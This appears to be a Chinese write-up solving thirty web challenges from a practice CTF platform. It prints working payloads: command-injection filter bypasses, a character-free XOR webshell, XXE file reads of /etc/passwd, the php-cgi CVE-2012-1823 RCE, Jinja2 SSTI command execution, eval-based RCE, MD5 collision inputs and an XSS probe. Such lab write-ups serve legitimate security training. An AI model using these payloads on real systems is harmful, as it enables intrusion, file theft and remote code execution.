目录

一、命令执行之我在干什么

二、签到题

三、webshell

四、无字符webshell

五、xxelab_1

六、CGI

七、random_flag

八、xxelab_2

九、where is flag

十、int

十一、命令执行

十二、《我的女友是机器人》

十三、变量覆盖_extract

十四、等于False

十五、啥都没了

十六、文件包含

十七、strcmp

十八、easy_serialize

十九、什么?有后门

二十、easy_js

二十一、get_file

二十二、命令执行之我是谁

二十三、secret_key

二十四、easy_flask

二十五、小矛盾

二十六、urldecode

二十七、命令执行之我在哪

二十八、ENV

二十九、我幽默吗?

三十、Cross Site Scripting


一、命令执行之我在干什么

源代码:

<?php
error_reporting(0);
show_source('index.php');
$cmd = $_GET['a'];
$a = '/IFS|flag|cat|tac|more|find|less|[ |<>|?|*|\\\\\'"]/';
if(preg_match($a,$cmd)){echo "not allow";
}
else{if(strstr($cmd,'yyds')!=$cmd){echo "you are success!";}else{system($cmd);}
}
?>

看到传的参数a没有过滤ls命令所以先看目录,传入ls提示you are success!,看代码需要给传入的参数带上yyds,所以传入

?a=yyds;ls

发现没有flag再看根目录,由于过滤了空格这里用%09绕过payload为

?a=yyds;ls%09/

发现flag文件,下一步读flag

但是代码过滤了linux下常用的看文件命令和关键字flag还有通配符,没有过滤tail,nl等这些看文件命令,用这里用tail读文件,用[a-z]绕过关键字过滤。最终payload为

?a=yyds;tail%09/fla[a-z]

拿到flag

flag是:catf1ag{zrcybdji0lho58qxapf6ue97mg43sv1tkwn2}

二、签到题

拿到题目发现网页是空白,于是按F12看源代码看到flag

flag是:zygsctf{47jqwfshb0na12y3g9uomlktvixed8}

三、webshell

打开题目先进行目录扫描看见robots.txt,打开后发现存在文件webshell.php,进行访问,在网页源代码中发现了一串base64

经过base64解码结果为hacker,结合题目websehll联想到这个文件应该是个木马文件,经过测试这个木马是get传参,所以就直接在url后面加hacker参数进行命令执行拿flag。payloda如下:

1.看目录下文件:

http://ctf.vfree.ltd:9015/webshe11.php?hacker=system(‘ls’);

2.在当前目录没有找到flag,看根目录下文件:

http://ctf.vfree.ltd:9015/webshe11.php?hacker=system('ls /');

3.在根目录下找到flag,拿flag:

http://ctf.vfree.ltd:9015/webshe11.php?hacker=system('cat /flag');

 flag是:zygsctf{qtpysvg3158c7iexojdabfklz4hunmr9062w}

四、无字符webshell

源代码:

<?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){die("giaogiaogiao!!!");
}
else {eval($cmd);
}
highlight_file(__FILE__)
?>

源代码过滤了大小写A-Z和数字,明显是和题目说的一样要构造无字符的命令执行那flag

这里使用异或^getshell,下面先看下面代码是通过异或获得的字母。

<?phpvar_dump("`{{{"^"?<>/"); //_GET
?>

下一步就是进行异或构造出我们需要的传参,这里用get传参构造出代码

<?php$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
?>

之后传参进行命令执行先看根目录

?cmd=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__=ls /

看到flag,之后用cat拿flag

?cmd=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__=cat /flag

flag是:catflag{327a6c4304ad5938eaf0efb6cc3e53dc}

五、xxelab_1

看到题目名字是xxe所以肯定是xxe漏洞,打开题目看到一个注册框

输入注册内容抓包查看

很明显发包后在邮箱处有回显,于是引用外部实体构造任意文件读取看看是否可行

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[<!ENTITY file SYSTEM "file:///etc/passwd">
]><root><name>123</name><tel>123456</tel><email>&file;</email><password>\145</password></root>

实现任意文件读取,根据题目提示flag位置:flag在/flag中,于是读flag

flag是:catflag{dk647tjb1rc3zsioeyhfgnawpml0u82v59qx}

六、CGI

打开题目看到:

题目说是CGI看来考的是CGI的相关漏洞的利用来拿flag

通过百度查到了CVE-2012-1823 php-cgi远程代码执行并查到了该漏洞利用的方式,这里写一下cgi相关的参数:

  • -c 指定php.ini文件的位置

  • -n 不要加载php.ini文件

  • -d 指定配置项

  • -b 启动fastcgi进程

  • -s 显示文件源码

  • -T 执行指定次该文件

  • -h 和 -? 显示帮助

首先就用-s参数看源码(就在url后面加?-s就行):

这里通过-d指定auto_prepend_file来制造任意文件包含漏洞,那这里的思路就是我们就可以用php://input指定执行自己的php文件。这里需要注意要想实现文件包含我们要将我们应该将allow_url_include设置为on,这里payload分两部分:

1.url传参

?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

2.post传参

<?php echo shell_exec('ls');?> 

这样来实现命令执行看根目录,发现了flag

然后拿flag

flag是:catflag{80ybwshm4lp723rv9cjk1dzfxengq5i6uato}

七、random_flag

打开题目看见file=

于是尝试用伪协议

php://filter/convert.base64-encode/resource=index.php

读源码,第一次没读出来,由于名字random的原因想了想再刷新试试,刷新了一下就读出来了经过base64加密的源码,解密后如下

<?php
echo "file=";
$file = @file($_GET['file']);
if(isset($file)){$rand_num = rand(0,count($file)); //flag in catf1ag.phpecho $file[$rand_num];
}else{echo 'no_flag or not_file';
}?>

一步步看代码,首先是接收一个file参数,然后经过file函数,在php中file() 函数是把整个文件读入一个数组中。然后判断$file是否存在,如果存在,那就给$rand_num变量一个随机数,这个随机数只能是0或者1,因为在PHP中count() 函数是返回数组中元素的数目,而$file是一个数组,经过file()函数处理,文件内容只在数组的第0下标的位置,也就是数组内只有一个元素。所以随机数只能是0或者1,之后就会输出文件里面$file数组中第0个位置或者第1个位置的元素。也就是如果随机数随机到0那就会输出文件内容,这也是为什么刚开始用伪协议读源码没读出来的原因,多刷新几次让随机数为0即可读出,之后就看见源码旁边的注释flag in catf1ag.php那就继续用伪协议读这个文件的内容读到一长串文本。搜索flag关键字拿到flag。

flag是:catflag{62fexjg4cldzhay3otrqnpk09v1im5uwb78s}

八、xxelab_2

本题和xxelab_1差不多唯一不同的是提示说flag在flag.php直接读的话读不到,需要用伪协议去读

拿到base64加密后的flag.php进行base64解密得到flag

<?php
$flag = "catf1ag{c5qsax9j6tdnf4ho7vw2lkygp8bzru1mie03}";
echo "flag{no_this_flag}";
?>

flag是:catf1ag{c5qsax9j6tdnf4ho7vw2lkygp8bzru1mie03}

九、where is flag

打开题目空空的,然后常规F12看一下看到

flagb应该是flag的下半部分吧看起来像base64但是因为只有一半所以解密失败。之后抓包看了一下发现了完整的flag

看到了flaga和flagb拼到一起进行base64解密得到flag

flag是:catflag{s10dvmo9k2chpjl4wgzn6yba3785tuxrieqf}

十、int

源代码:

<?php
show_source('index.php');
include('flag.php');
$num = $_GET['num'];
$number = intval($num);
$init_num ='666';
if($num!=$init_num){if($number == $init_num){echo $flag;}else{echo "Not";}
}else{echo "不能相等";
}
?> 

审计一下代码,get方式接收一个num参数,取num整数部分赋值给number,定义一个init_num=666最后拿到flag的条件是num不等于init_num并且number等于init_num,那就直接传num=666.1即可绕过拿到flag。

flag是:zygsctf{0zjbnretf2svxu9oykqa5dp74wc63g}

十一、命令执行

什么都没过滤直接传参看根目录文件

?cmd=ls /

然后拿flag

 ?cmd=cat get_flag

flag是:zygsctf{4zeobmdhyrtisf8xk20953qwnuvg6p}

十二、《我的女友是机器人》

看到界面就一个notflag,常规试了一下看有没有robots.txt,果然有然后看见 /f1ag_is_in_there!!!

访问这个文件,下载之后打开看到flag。

flag是:zygsctf{u5hegvatp2cybswnm8ijf9xzdr4ql3}

十三、变量覆盖_extract

源代码:

<?php
show_source('index.php');
include('flag.php');
$init_str = '666';
extract($_GET);
if($init_str == '6'){echo $flag;
}else{echo 'not 6';
}
?> 

本题考察extract的变量覆盖漏洞,extract()该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。所以本题直接传入,init_str=6即可拿到flag

flag是:zygsctf{dxuez82apklh0mrbw79otg315cisjy4qvfn6}

十四、等于False

源代码:

<?php
include 'flag.php';
show_source('./index.php');
$num = $_GET['num'];
if(isset($num)){if($num !== '0'){if(md5($num) == False){echo $flag;}else{echo 'no_flag';}}else{echo '不能为0';}
}else{echo '你倒是输入点东西啊!!!';
}
?>

这个题考察点是php弱类型,需要传入一个num参数,该参数不能为0,而且num经过md5加密要等于False,直接传入数组绕过即可拿到flag。

flag是:zygsctf{e32gak90d4pohjmw1ft6ivuzs8ylrc7xqnb5}

十五、啥都没了

看到题目描述,写文章突然关机,小v以为什么都没了马上想到是当我们编辑文件时候,突然断电,或者突然断网,为了防止数据丢失,会出现后缀为.swp的文件。进行目录扫描果然扫出来.index.php.swp文件,然后进行访问下载。在文件末尾看到flag

flag是:zygsctf{rpl869d71weco2mt4k5qghnybzaus0iv3jfx}

十六、文件包含

访问题目看到地址栏有?file=

再看题目是文件包含于是想到用伪协议php://filter/convert.base64-encode/resource=index.php来读源代码,读到之后进行base64解密,源代码如下

<?php
error_reporting(0);
$file = $_GET['file'];
include($file);
echo "<!--flag in get_flag-->";
?>

看到源码就是单纯的文件包含,flag在get_flag直接伪协议php://filter/convert.base64-encode/resource=get_flag拿到flag的base64进行base64解密拿到flag。

flag是zygsctf{wsle03a571mvqgnfb8d2zcj9rxuoh4it6pyk}

十七、strcmp

源代码:

<?php
error_reporting(0);
include('flag.php');
show_source("index.php");
$str = $_GET['str'];
$init_str = "get_flag";
if($str!=$init_str){if(strcmp($init_str,$str)==0){echo $flag;}else{echo "no";}
}else{echo "nonono";
}?>

看代码是接收一个str参数,这个参数要和init_str不等,但是要拿flag要满足strcmp($init_str,$str)==0,这里解释一下strcmp函数,strcmp() 函数比较两个字符串,函数返回如下:

  • 0 - 如果两个字符串相等

  • <0 - 如果 string1 小于 string2

  • >0 - 如果 string1 大于 string2

根据php特性直接数组绕过拿flag,传入?str[]=即可拿到flag。

flag是:zygsctf{scol3zium0n6yb7pkdxg82vrh4wejqat1f95}

十八、easy_serialize

源代码:

<?php
//error_reporting(0);show_source('./index.php');
class flag_in_there{public $name;public $age;public function __construct($name,$age){$this->name = $name;$this->age = $age;}public function get_flag(){echo "hello,i'm '$this->name',now '$this->age' years";}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
$un = $_GET['str'];if($ser == $un){include('flag.php');echo $flag;
}else{echo "你真棒~";
}
?>

看题目就是反序列化,没有任何需要绕过的点,直接本地进行序列化得到payload,将payload传入str即可拿到flag

本地进行序列化代码如下:

<?php
class flag_in_there{public $name='vfree';public $age='19';}
$a = new flag_in_there();
$obj = serialize($a);
echo $obj;
?>

得到payload:O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

传入payload拿到flag

flag是:zygsctf{eauigjs4pmfc1d2wq3xkvl0h7b5rony89zt6}

十九、什么?有后门

下载题目源码直接放d盾扫描后门得到后门密码拿到flag

看到文件she11.php,看到后门密码是zygsctf

flag是:zygsctf{zygsctf}

二十、easy_js

源代码:

<?php
show_source('index.php');
include('flag.php');
$key = $_GET['key'];
$decode = json_decode($key);
if($decode->flag == $flag){echo $flag;
}else{echo "404 not found";
}
?>

看代码考察的是php弱类型json,输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中flag的值是否等于$flag的值虽然$flag的值我们不知道,但是可以利用0=="string"这种形式绕过,payload为:?key={"flag":0},拿到flag

flag是:zygsctf{95rzgmd8ji6uqaeycfs2wno4lt1kp7v3hbx0}

二十一、get_file

打开题目f12查看源码看见个假的flag

之后看见题目名字get_file,想到之前有个题就是?file=伪协议,觉得这个题应该也是这样试了一下伪协议。

http://ctf.vfree.ltd:9012/?file=php://filter/convert.base64-encode/resource=index.php

在网页中发现有报错。

根据报错提示发现是多了一个.php后缀于是去掉之前payload里面的.php

http://ctf.vfree.ltd:9012/?file=php://filter/convert.base64-encode/resource=index

读到经过base64加密之后的源代码

<?php
$file = $_GET['file'];
if (isset($file)) {include($file.'.php');
}
if((string)$_GET['a'] !== (string)$_GET['b'] && md5($_GET['a']) === md5($_GET['b'])){if(isset($_POST[1]) and isset($_POST[2])){if($_POST[1] != $_POST[2]){if(md5($_POST[1]) === md5($_POST[2])){echo "不错喔";include("flag.php");}else{echo "不会吧不会吧";}}}else{echo "不会吧";}
}
?>

之后进行代码审计,发现要拿flag要满足4个if

if((string)$_GET['a'] !== (string)$_GET['b'] && md5($_GET['a']) === md5($_GET['b']))
if(isset($_POST[1]) and isset($_POST[2]))
if($_POST[1] != $_POST[2])
if(md5($_POST[1]) === md5($_POST[2]))

都是考的php弱类型特性,但是这个题有问题存在非预期解法,看到本题里面里面有include('flag.php'),就想到了flag肯定在这个文件里,尝试用伪协议包含flag.php,能得到经过base64加密过后的flag.php经过base64解密就能拿到flag。如图

下面说一下预期解法,首先第一个if,需要get传入a和b,这里不能使用0e因为是md5强类型比较,其次这个题也不能使用数组,需要使用两个不一样的字符串同时这两个字符串经过md5加密后需要完全相等这样才可以绕过,用百度查了一组md5的payload,a和b传入如下值即可绕过。

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

之后就是post传入1和2,这里就可以用数组进行md5强类型绕过

1[]=1&2[]=11

传入各个参数后拿到flag

flag是:flag{hhs6azzvr3j1wvo1m5nfz71phk8iq90w}

二十二、命令执行之我是谁

源代码:

​
<?php
error_reporting(0);
show_source('index.php');
$cmd = $_GET['cmd'];
$preg = preg_match('/system|exec|shell_exec|`|popen|cat|tac|more|less|flag/',$cmd);
if(!$preg){eval($cmd);
}else{echo "非法字符";
}
?>​

拿到源代码发现过滤根本不严,系统命令执行函数没过滤完,这里我选用passthru()函数实现命令执行。先用

?cmd=passthru("ls");

看目录下文件

看到有flag文件之后用

?cmd=passthru("tail%20fl*");

读文件即可拿到flag

flag是:zygsctf{e3u1zsjr0y4dltg2iaxv98nkfpbw7hmq6c5o}

二十三、secret_key

看到题目说明有/?cmd=?,试了试ls不行,看看该web页面的编程语言的框架

是python和Flask马上想到是本题考察SSTI模版注入,于是用?cmd={{7*7}}测试了一下发现确实有SSTI漏洞

这个题是jinja2模版注入,先用以下payload测试:

?cmd={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

发现可以进行命令执行,之后看当前目录文件

?cmd={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27ls%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}

最后在app.py文件中拿到flag

?cmd={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27cat app.py%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}

flag是:zygsctf{3s41zeynr9ixf8mko62apdghtv0uc75qjlbw}

ps:这个题可以用SSTI注入工具tplmap

二十四、easy_flask

试了一下可以和上一道题用一样的payload,题目说flag in /app/flag那就直接看这个文件即可

payload为

?cmd={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27cat /app/flag%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}

ps:这个题也可以用SSTI注入工具tplmap

二十五、小矛盾

源代码:

<?php
include('xxxxxx.php');
error_reporting(0);
show_source('index.php');
$init_num = '999999999999';
$user_num = $_GET['num'];
if(isset($user_num)){if($user_num != $init_num){if(strlen($user_num) < strlen($init_num)){if($user_num > $init_num){echo $flag;}else{echo '你输入的数字小于初始值~';}}else{echo '不能大于初始值~';}}else{echo '不能相等~';}
}else{echo '请输入内容~';
}
?>

拿到源代码看到想拿flag要经过四个if判断

首先判断是要传入num参数,其次判断传入的参数不能和init_num的值相等,然后传入的数字长度还要小于init_num数字的长度,最后传入的num要大于init_num值,很简单的科学计数法绕过

我们传入足够大的科学计数法即让num=1e100000,得到了一句话

这时候就想,那估计再源码里于是F12查看一下没有发现,最后看了一下浏览器的Network,发现flag在数据包头里。

flag是:catflag{en7dvubs56h1gktl9jp4riyqzax28fmow03c}

看见这个数据包头的时候就发现,不进行代码审计绕过,直接访问这个地址一样能看见flag。。。。。。

二十六、urldecode

源代码:

<?php
highlight_file(__FILE__);
include('flag.php');
if(!isset($_GET['str'])){echo "catf1ag欢迎您,像套神感动你";echo "<br>";echo "让我们都加油去超越自己";die();
}if($_GET['str'] == "catf1ag"){die("catf1ag平台,简直就是你的练题必备website呀~");
}if(urldecode($_GET['str']) == "catf1ag"){echo $flag;
}else{echo "等于catf1ag方可得到flag";
}
?>

可以看到要拿到flag只需要catf1ag经过urldecode之后等于catf1ag即可。这里只需要注意对catf1ag要进行两次url编码,因为浏览器会解码一次,解码一次后让urldecode()函数再进行一次解码,结果就会变成catf1ag满足条件拿到flag。经过两次url编码后的payload为:

%25%36%33%25%36%31%25%37%34%25%36%36%25%33%31%25%36%31%25%36%37  

flag是:catf1ag{fcq4g5seit3dxl6abvokj2p18ymw9uhznr07}

二十七、命令执行之我在哪

源代码:

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|rm|find|flag|rm|\/|echo|\.|\*|\?/i',$_GET['cmd'])){@eval($_GET['cmd']);}else{echo "danger_string";}
}else{echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
?>

这个题是还是命令执行,首先利用GET方式传入cmd参数,代码中过滤了伪协议还有一些关键字,不能以伪协议形式直接读取文件,@eval($_GET['cmd']);将输入的参数以php代码执行。做这个题之前需要知道几个函数,详解如下:

get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

传一下这个函数看一下结果。

payload如下:

?cmd=var_dump(get_defined_vars());&b=1

可以看见b参数在里面,并且GET参数在数组第一个,然后要用current函数提取出来b参数

current ( array &$array ) : mixed 返回数组中的当前单元
每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。

payload如下:

?cmd=var_dump(current(get_defined_vars()));&b=1

可以看见我们提取到GET参数的数组了,因为b在最后一个,所以我们用end函数把值取出来。

end ( array &$array ) : mixed end()
将 array 的内部指针移动到最后一个单元并返回其值。

payload如下:

?cmd=var_dump(end(current(get_defined_vars())));&b=1

可以看到成功把b参数的值拿出来了。下面配合eval参数可以直接rce。接下来依次用如下payload拿flag

?cmd=eval(end(current(get_defined_vars())));&b=system(%27ls%27);
?cmd=eval(end(current(get_defined_vars())));&b=system(%27tac%20flag.php%27);

flag是:catf1ag{m49k6ivgj87b531acnqzlswhdtrxf2oypeu0}

ps:其实做这个题为了省事我是直接用的前段时间做长安战疫ctf比赛时的payload做的(因为本题过滤的不是很严格所以将长安战疫的payload稍加改动直接就拿到flag了),同时这个题因为过滤不严格,并且flag就在网站当前目录所以还有别的解法,比如我们可以用

?cmd=readfile(array_rand(array_flip(scandir(pos(localeconv())))));

这个payload,去随机出flag.php的值然后查看源码拿flag等等。

二十八、ENV

说明:因为这个题是可以命令执行达到非预期,所以在平台上题目可能下架了。

打开题目给了个/?cat=但是说不是命令执行,并且没有flag文件结合题目env,想到在PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。所以就直接var_dump打印一下环境变量看看行不行。传入

?cat=var_dump($_ENV);

然后就拿到了flag。

flag是:catf1ag{g2wpq7jmfd6r4cy3vuxn9hilzbes1oa0tk85}

二十九、我幽默吗?

打开题目按F12看到一个像棋盘一样的东西

看#1部分,上面一行是顺序,下面一行是对应棋盘的坐标,比如null对应?,z1对应的字母是o位置是2,以此类推结果是?source,就想到这个应该是给url后面加一个?source但是传什么不清楚,那就随便传个?source=1看看,结果出现了源码,源码如下:

<?php
error_reporting(0);
if(isset($_GET['source'])){highlight_file(__FILE__);echo "$flag_filename = 'flag'.md5(???).'php';";die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){$c = $_POST['c'];$count[++$c] = 1;if($count[] = 1) {$count[++$c] = 1;print_r($count);die();}else{$a = $_POST['a'];$b = $_POST['b'];echo new $a($b);}
}
?>

这个代码第一部分接收一个source参数不管这个参数是什么,都会高亮显示源码,这部分告诉了我们flag在flag.md5(???).php这个文件里面,但是md5加密的东西是什么不知道,也就不知道完整的文件名。看第二部分,第二部分的漏洞利用点在

 $a = $_POST['a'];$b = $_POST['b'];echo new $a($b);

这是2021年浙江省赛的一道web题里面考察的。

参考链接:https://blog.csdn.net/qq_38154820/article/details/121112935

链接里面详细说了这个题涉及到的知识点,看懂后就可以构造a和b,现在的问题是怎么进到else语句。可以看到if里面$count[]=1,这个语句正常执行返回结果肯定是1,要是想进else那就肯定不能让它正常执行,这里可以用php数组的溢出,来使得$count[]=1赋值失败。php数组的临界值是9223372036854775807,所以结合代码我们只需要给c传9223372036854775806就可以进入else语句,再结合参考链接里面的我们可以依次post传以下payload拿flag。

a=DirectoryIterator&b=glob://flag[a-z0-9]*.php&c=9223372036854775806

这个payload可以看到flag文件的名字

a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806

这个payload用伪协议读出了flag文件里的代码,之后经过base64解密就可以看到flag。

flag是:flag{baa450185a449e4f16a2c4ffd1b46265}

三十、Cross Site Scripting

打开题目看到?catf1ag=,然后题目是xss于是用

<a href="javascript:alert(1)">hi</a>

测试了一下弹出了

弹出弹窗但是没什么用,然后打开网页源代码看见

放到浏览器控制台出来了一串经过base64编码的字符,然后对字符进行base64解密flag就出来了

flag是:catf1ag{luwjetshn1v4qr2m6yg750p98cbzoxki3afd}

catf1ag web题目 WriteUp(wp)相关推荐

  1. 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现

    四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...

  2. 中科大HackerGame2018 web题目 writeup

    虽然很坑,但是总体来说这次还是做了很多有意思的web题,这里也只给出web题的答案 一:签到题 打开发现是要输入key值提交 但是输入后发现限制了长度,只允许输入到hackergame201 打开bu ...

  3. DMCTF部分题目writeup

    DMCTF部分题目writeup 文章目录 DMCTF部分题目writeup 一.Reverse 二.Web 三.Crypto 四.Misc E·N·D 首先说明本蒟蒻是大一菜鸡,刚刚入门CTF,啥也 ...

  4. i春秋2020新春公益赛WEB复现Writeup

    i春秋2020新春公益赛WEB复现Writeup 说实话这个比赛打的我是一点毛病都没有,还是觉得自己掌握的东西太少了,,, 尤其是sql注入,都被大佬们玩出花来了,可能自己太菜,,,哭了!!! 关于S ...

  5. 第二届赣网杯WEB第一题WP

    题目: 第二届赣网杯WEB第一题WP 进入环境,是一个连连看游戏 尝试完成连连看游戏,发现45秒内几乎不能完成任务,且并没有弹出flag 游戏结束后弹出对话框,发现鼠标右键不能使用,也不让查看源码 快 ...

  6. 攻防世界-web新手区wp

    攻防世界-web新手区wp view source robots backup cookie disabled_button weak auth simple php get_post xff_ref ...

  7. 论剑场中部分web题的WP

    好久不更,最近在学习ctf,今天更一波new bugctf论剑场中部分web题的WP,有一部分是借鉴大佬的博客! web25 有一个输入框,一个下载链接,随便输入显示wrong!,下载链接进去后转ht ...

  8. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  9. ctf wav文件头损坏_【CTF入门第二篇】南邮CTF web题目总结

    这几天写了南邮的web题目,都比较基础,但是对我这个小白来说还是收获蛮大的.可以借此总结一下web题的类型 一,信息都藏在哪 作为ctf题目,肯定是要有些提示的,这些提示有时会在题目介绍里说有时也会隐 ...

最新文章

  1. 深度学习、人工智能领域顶级书籍推荐
  2. 差分约束 1:pku 1201 Intervals 2:pku 1364 King 3:hdu 1534
  3. ES5-拓展 原型链、继承、类
  4. python学习之老男孩python全栈第九期_数据库day004 -- 作业
  5. [转载]oracle函数listagg的使用说明
  6. python是哪个专业学的-我们为什么要选择学习python?学习python有什么用?
  7. win10+tensorflow-gpu+pycharm+anaconda...的成功安装,顺利在spyder import tensorflow
  8. jquery ajax中文编码设置
  9. Mac OS 开机密码重置
  10. kubernetes使用secrets保存敏感信息
  11. 产业链图谱:2021年中国5G产业链图谱|产业链全景图
  12. 靶机渗透测试实战(三)——Bulldog1渗透实战
  13. cocos creator中FBX文件不可用显示asset invalid
  14. xtrabackup备份恢复MySQL数据库
  15. bim计算机工程师考试,bim工程师考试报名条件是什么?bim工程师考试怎么报名?...
  16. html中去除浮漂有什么作用,浮漂的1、2、3号都有什么作用?
  17. 中国制造2025与机器人——苏大机电学院院长谈机器人发展趋势
  18. Unity3D中的预制体Prefab
  19. 太赫兹芯片是什么原理_太赫兹收发芯片、收发方法及其成像探测系统与流程
  20. 人眼扫视——对模糊世界视而不见

热门文章

  1. 云计算课件:云计算架构参考模型
  2. pymssql mysql_Python数据库模块pymssql连接SQLServer数据库操作详解
  3. 让人头大的地理坐标和投影,这些你必须知道(超全面)
  4. gradle第三方Jar包依赖统一管理
  5. java计算机毕业设计校园摄影爱好者交流网站源码+mysql数据库+lw文档+系统+调试部署
  6. 字符串排序java_开发人员是如何使用Java进行排序?
  7. 工信部部长苗圩:今年我国部分地区将发放5G临时牌照...
  8. 将图片直接转换成xml文件_如何将jpg在线转换成pdf?jpg图片可以转换成pdf吗?
  9. mybatis 执行sql_来,全搞懂,原来Mybatis执行一个sql有这么多类型,绝
  10. 【Linux】日志管理及日志轮询